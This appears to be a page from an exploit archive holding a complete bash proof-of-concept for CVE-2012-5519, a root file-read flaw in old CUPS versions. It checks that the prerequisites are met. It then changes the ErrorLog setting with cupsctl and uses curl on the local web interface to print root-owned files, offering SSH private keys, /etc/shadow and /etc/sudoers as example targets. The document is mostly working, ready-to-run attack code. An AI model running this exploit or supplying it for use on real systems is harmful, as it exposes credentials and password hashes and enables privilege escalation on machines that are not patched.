4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / cups-root-file-read.sh SH
#!/usr/bin/env bash
# exploit title: cups-root-file-read.sh
# author: p1ckzi
#         github: https://github.com/p1ckzi
#         twitter: @p1ckzi
# vendor home: https://www.cups.org/
# vulnerable software and version: CUPS < 1.6.2
# tested on: Ubuntu 20.04.3 LTS | CUPS 1.6.1
# cve: 2012-5519
# osvdb: 87635
#
# description:
# this script exploits a vulnerability in CUPS (common UNIX printing system)
#  < 1.6.2. CUPS allows users within the lpadmin group to make changes to the
# cupsd.conf file, with the cupsctl command. this command also allows the user
# to specify an ErrorLog path. when the user visits the
# '/admin/log/error_log page', the cupsd daemon running with an SUID of root
# reads the ErrorLog path and echoes it in plain text.
# in short, files owned by the root user can be read if the ErrorLog path is
# directed there.
#
# the script checks if the vulnerability exists, and if the current user has the
# ability to exploit it, and if the needed commands within the script are
# available. after passing these checks the user is provided with an interactive
# prompt where they can input an absolute path to files they want to read.

# some error handling for debugging, if needed.
set -o errexit
set -o nounset
#set -o xtrace
set -o pipefail

# magic variables. main use is for debugging, if needed.
#__dir="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
#__file="${__dir}/$(basename "${BASH_SOURCE[0]}")"
#__base="$(basename ${__file} .sh)"
#__root="$(cd "$(dirname "${__dir}")" && pwd)"
#arg1="${1:-}"

# more terminal types can be added/changed/turned off if needed.
# again, assumption is made that the script is being run though a limited shell,
# possibly over something like netcat.
#TERM=linux
TERM=xterm

# used for printing colours and information boxes for readability.
readability(){
  # colours.
  C1=$(tput setaf 1)
  C2=$(tput setaf 2)
  C3=$(tput setaf 3)
  C4=$(tput setaf 4)
  C0=$(tput sgr0)
  # information boxes.
  I1=$(printf "[!] ")
  I2=$(printf "[+] ")
  I3=$(printf "[>] ")
  I4=$(printf "[i] ")
}

# removes colours and information boxes for accessibility.
accessibility(){
  # colours.
  C1=$(tput sgr0)
  C2=$(tput sgr0)
  C3=$(tput sgr0)
  C4=$(tput sgr0)
  C0=$(tput sgr0)
  # information boxes.
  I1=''
  I2=''
  I3=''
  I4=''
}

# script is interactive only. die(), print_help(), and parse_commandline() are
# used to make sure that nothing else is passed to the script.
die()
{
  local _ret="${2:-1}"
  [[ ${_PRINT_HELP:-no} == yes ]] && print_help >&2
  printf "%s" >&2 "$1"
  exit "${_ret}"
}

print_help()
{
  printf "\n%s does not require any arguments to run." "$0"
  printf "\nit is currently interactive only."
  printf "\nusage: %s [-a|--accessible] [-h|--help]" "$0"
  printf '\n\t-a, --accessible: turns off features which may negatively affect'
  printf '\n\tscreen readers.'
  printf '\n\t-h, --help: prints this dialog message.'
  printf '\nafter passing all the required checks for the exploit,'
  printf '\nthe user will be prompted for input.'
  printf '\ntype in the full path to a file to read it.'
  printf '\neg.'
  printf '\n\t1. /root/.ssh/id_rsa'
  printf '\n\t2. /root/.bash_history'
  printf '\n\t3. /etc/shadow etc...'
  printf '\n'
}

parse_commandline()
{
  while [[ $# -gt 0 ]]; do
    _key="$1"
    case "$_key" in
      -a|--accessible)
        accessibility
        small_banner
        main
        ;;
      -a*)
        _PRINT_HELP=yes die "'$1' is not a valid argument." 1
        exit 0
        ;;
      -h|--help)
        print_help
        exit 0
        ;;
      -h*)
        print_help
        exit 0
        ;;
      *)
        _PRINT_HELP=yes die "'$1' is not a valid argument." 1
        ;;
    esac
    shift
  done
}

small_banner(){
  printf "cups-root-file-read.sh"
  printf "\na bash implementation of CVE-2012-5519 for linux."
}

banner(){
  printf "%s" "${C1}"
  printf "                                            _"
  printf "\n  ___ _   _ _ __  ___       _ __ ___   ___ | |_"
  printf "\n / __| | | | '_ \/ __|_____| '__/ _ \ / _ \| __|____"
  printf "\n| (__| |_| | |_) \__ \_____| | | (_) | (_) | ||_____|"
  printf "\n \___|\__,_| .__/|___/     |_|  \___/ \___/ \__|%s" "${C3}"
  printf "\n / _(_) | _%s|_|%s      _ __ ___  __ _  __| |  ___| |__" "${C1}"\
  "${C3}"
  printf "\n| |_| | |/ _ \_____| '__/ _ \/ _\` |/ _\` | / __| '_ \ "
  printf "\n|  _| | |  __/_____| | |  __/ (_| | (_| |_\__ \ | | |"
  printf "\n|_| |_|_|\___|     |_|  \___|\__,_|\__,_(_)___/_| |_|%s" "${C0}"
  printf "\na bash implementation of CVE-2012-5519 for linux."
}

# main requirement. checks for the 'cupsctl' command and exits if unavailable.
check_cupsctl(){
  printf "\n%schecking for cupsctl command..." "${I4}"
  if ! command -v cupsctl &> /dev/null; then
    printf "%s\n%scupsctl could not be found. exiting.%s" "${C1}" "${I1}"\
    "${C0}"
    exit 0
  else
    printf "%s\n%scupsctl binary found in path.%s" "${C2}" "${I2}" "${C0}"
  fi
}

# checks if the 'cups-config' command is available to the current user
# and which version of CUPS is running.
check_cups_version(){
  printf "\n%schecking cups version..." "${I4}"
  local check_version
  check_version=$(cups-config --version)
  local required_version='1.6.2'
  if [[ $(printf '%s\n' "$required_version" "$check_version"\
  | sort --version-sort\
  | head --lines=1) == "$required_version" ]]; then 
    printf "%s\n%susing cups %s. " "${C3}" "${I1}" "${check_version}"
    printf "exploit may not work...%s" "${C0}"
  else
    printf "%s\n%susing cups %s. " "${C2}" "${I2}" "${check_version}"
    printf "version may be vulnerable.%s" "${C0}"
  fi
}

# uses the 'groups' command to check if user is in lpadmin group
# and exits if not.
check_lpadmin(){
  printf "\n%schecking user %s in lpadmin group..." "${I4}" "${USER}"
  local group
  group=$(groups)
  local lpadmin='lpadmin'
  if [[ $group != *$lpadmin* ]]; then
    printf "%s\n%suser %s not part of lpadmin group. exiting.%s" "${C1}"\
    "${I1}" "${USER}" "${C0}"
    exit 0
  elif [[ $USER == "root" ]]; then
    printf "\n%sit appears you're already root!" "${I4}"
    printf "\n%syou probably don't need this exploit to view system files."\
    "${I4}"
  else
    printf "%s\n%suser part of lpadmin group.%s" "${C2}" "${I2}" "${C0}"

  fi
}

# checks for the 'curl' command.
check_curl(){
  printf "\n%schecking for curl command..." "${I4}"
  if ! command -v curl &> /dev/null; then
    printf "%s\n%scurl could not be found. exiting.%s" "${C1}" "${I1}" "${C0}"
    exit 0
  else
    printf "%s\n%scurl binary found in path.%s" "${C2}" "${I2}" "${C0}"
  fi
}

# informs the user if an invalid absolute path is submitted.
invalid_argument(){
  printf "%s" "${C3}"
  printf "%s'%s' is not a valid file path or command.%s" "${I1}"\
  "${interactive}" "${C0}"
  printf "\n"
  exploit_help
}

exploit_info(){
  printf "%sexploit info:" "${I4}"
  printf "\n%sthis script exploits a vulnerability in CUPS (common UNIX printing"\
  "${I4}"
  printf "\n%ssystem < 1.6.2. CUPS allows users within the lpadmin group to make"\
  "${I4}"
  printf "\n%schanges to the cupsd.conf file, with the cupsctl command. this also"\
  "${I4}"
  printf "\n%sallows the user to specify an ErrorLog path. when the user visits"\
  "${I4}"
  printf "\n%sthe '/admin/log/error_log' page, the cupsd daemon running with an"\
  "${I4}"
  printf "\n%sSUID of root reads the ErrorLog path and echoes it in plain text."\
  "${I4}"
  printf "\n%sin short, files owned by the root user can be read if the ErrorLog"\
  "${I4}"
  printf "\n%spath is directed there." "${I4}"
  external_help
}

exploit_help(){
  printf "%susage:" "${I4}"
  printf "\n\tinput must be an absolute path to an existing file."
  printf "\n\teg."
  printf "\n\t1. /root/.ssh/id_rsa"
  printf "\n\t2. /root/.bash_history"
  printf "\n\t3. /etc/shadow"
  printf "\n\t4. /etc/sudoers ... etc."
  printf "\n%s%s commands:" "${I4}" "$0"
  printf "\n\ttype 'info' for exploit details."
  printf "\n\ttype 'help' for this dialog text."
  printf "\n\ttype 'quit' to exit the script."
  external_help
}

external_help(){
  printf "\n%sfor more information on the limitations" "${I4}"
  printf "\n%sof the script and exploit, please visit:" "${I4}"
  printf "\n%shttps://github.com/0zvxr/CVE-2012-5519/blob/main/README.md"\
  "${I4}"
}

# creates a crude backup of the two directives that might need changing during
# the exploit. Reverts to them after reading from file or sets them to nothing
# if the directives were not set to begin with.
backup_cupsd(){
  prev_webint=$(cupsctl | grep "WebInterface=" || true)
  prev_errlog=$(cupsctl | grep "ErrorLog=" || true)
  if [[ -z $prev_webint ]]; then
    prev_webint='WebInterface='
  else
    true
  fi
  if [[ -z $prev_errlog ]]; then
    prev_errlog='ErrorLog='
  else
    true
  fi
}

# main part of script after passing initial checks - user prompt in while loop.
# displays warnings about the effects on system files as a result of running the
# exploit. attempts to handle unexpected information submitted by the user such
# as missing arguments, and errors from the server such as 404 status codes as a
# result of failing to include the path for the 'cupsctl ErrorLog=' command or
# unusual information that does not resemble a /path/to/file submission.
# also creates a crude backup of cupsctl directives that may need changing
# during exploitation.
interactive(){
  printf "%s\n%sall checks passed.%s" "${C2}" "${I2}" "${C0}"
  printf "%s\n\n%swarning!: this script will set the group ownership of"\
  "${C3}" "${I1}"
  printf "\n%sviewed files to user '%s'." "${I1}" "${USER}"
  printf "\n%sfiles will be created as root and with group ownership of" "${I1}"
  printf "\n%suser '%s' if a nonexistant file is submitted." "${I1}" "${USER}"
  printf "\n%schanges will be made to /etc/cups/cups.conf file as part of the"\
  "${I1}"
  printf "\n%sexploit. it may be wise to backup this file or copy its contents"\
  "${I1}"
  printf "\n%sbefore running the script any further if this is a production"\
  "${I1}"
  printf "\n%senvironment and/or seek permissions beforehand." "${I1}"
  printf "\n%sthe nature of this exploit is messy even if " "${I1}"
  printf "you know what you're looking for.%s" "${C0}"
  printf "\n\n"
  exploit_help
  backup_cupsd
  while true; do
    printf "%s\n%s%s" "${C4}" "${I3}" "${C0}"
    read -r -e -p "" interactive
    case "$interactive" in
      info)
        exploit_info
        ;;
      help)
        exploit_help
        ;;
      quit)
        printf "%squitting %s.\n" "${I4}" "$0"
        exit 0
        ;;
      *)
        # regex check to make sure the submission resembles a file path.
        valid_filepath='^(/[^/ ]*)+/?$'
        if ! [[ $interactive =~ $valid_filepath ]]\
        || [[ $interactive == */ ]]; then
          invalid_argument
        else
          # passing a directory as an argument, such as '/tmp' or '/tmp/ '
          # results in a 404 status code. the user is informed instead of
          # passing the html contents to the user.
          cupsctl WebInterface=Yes\
          && cupsctl ErrorLog="$interactive"\
          && user_input=$(curl --head --silent\
            http://localhost:631/admin/log/error_log)
          if [[ $user_input == *"404"* ]]; then
            printf "%s%sthe server is returning a 404 status code." "${C3}"\
            "${I1}"
            printf "\n%syour input may contain a nonexistent directory or perhaps"\
            "${I1}"
            printf "\n%syou have pointed towards a directory instead of a file.%s"\
            "${I1}" "${C0}"
            printf "\n%stype 'help' for examples, or" "${I4}"
            external_help
          else
            # if all conditions are met but the contents of the file are blank,
            # the user is informed the file may have been generated by the
            # exploit. cleaning up may be required for these types of files.
            user_input=$(curl --silent http://localhost:631/admin/log/error_log)
            if [[ -z $user_input ]]; then
              printf "%s%sthe file at %s is empty." "${C3}" "${I1}"\
              "${interactive}"
              printf "\n%sit may have been created by this exploit if it is new.%s"\
              "${I1}" "${C0}"
              external_help
            else
              # if all conditions are met, the contents of the file are displayed
              # to the user.
              printf "%s%scontents of %s:%s" "${C2}" "${I2}" "${interactive}"\
              "${C0}"
              printf "\n%s" "${user_input}"
            fi
          cupsctl "$prev_webint"
          cupsctl "$prev_errlog"
          fi
        fi
        ;;
    esac
  done
  
}

# checks conditions required to run the exploit script and for user to reach the
# main interactive function.
all_checks(){
  printf "\n\n%sperforming checks..." "${I4}"
  check_cupsctl
  check_cups_version
  check_lpadmin
  check_curl
}

# holds all other functions.    
main(){
  all_checks
  interactive
}
  
parse_commandline "$@"
readability
banner
main